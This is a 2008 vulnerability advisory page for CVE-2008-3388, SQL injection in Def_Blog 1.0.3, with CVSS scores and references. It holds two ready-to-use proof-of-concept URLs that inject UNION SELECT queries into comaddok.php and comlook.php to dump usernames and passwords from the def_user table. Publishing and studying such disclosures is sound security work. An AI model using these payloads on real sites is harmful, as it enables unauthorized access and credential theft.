Def_Blog 1.0.3 Multiple Remote SQL Injection Vulnerabilities

2008.08.02

Credit: tan_prathan

Risk: High

Local: No

Remote: Yes

CVE: CVE-2008-3388

CWE: CWE-89

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

================================================================
Def_Blog 1.0.3 Multiple Remote SQL Injection Vulnerabilities
================================================================
,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'
AUTHOR : CWH Underground
DATE : 16 July 2008
SITE : cwh.citec.us
#####################################################
APPLICATION : Def_Blog
VERSION : 1.0.3
DOWNLOAD : http://www.easy-script.com/Def_Blog_V.1.0.3.zip
#####################################################
-- Remote SQL Injection ---
-----------------
Vulnerable File
-----------------
[+] comaddok.php
[+] comlook.php
-------------
POC Exploit
-------------
[+] http://[Target]/[def_blog_path]/comaddok.php?article=-1+union+select+1,c
oncat(pseudo,0x3a3a,mdp)+from+def_user--
[+] http://[Target]/[def_blog_path]/comlook.php?article=-1+union+select+1,2,
3,4,concat(pseudo,0x3a3a,mdp),6,7+from+def_user--
#####################################################################
Greetz : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, citec.us
#####################################################################

References:

http://xforce.iss.net/xforce/xfdb/43909

http://www.securityfocus.com/bid/30289

http://www.securityfocus.com/archive/1/archive/1/494534/100/0/threaded

http://secunia.com/advisories/31174

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Def_Blog 1.0.3 Multiple Remote SQL Injection Vulnerabilities

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.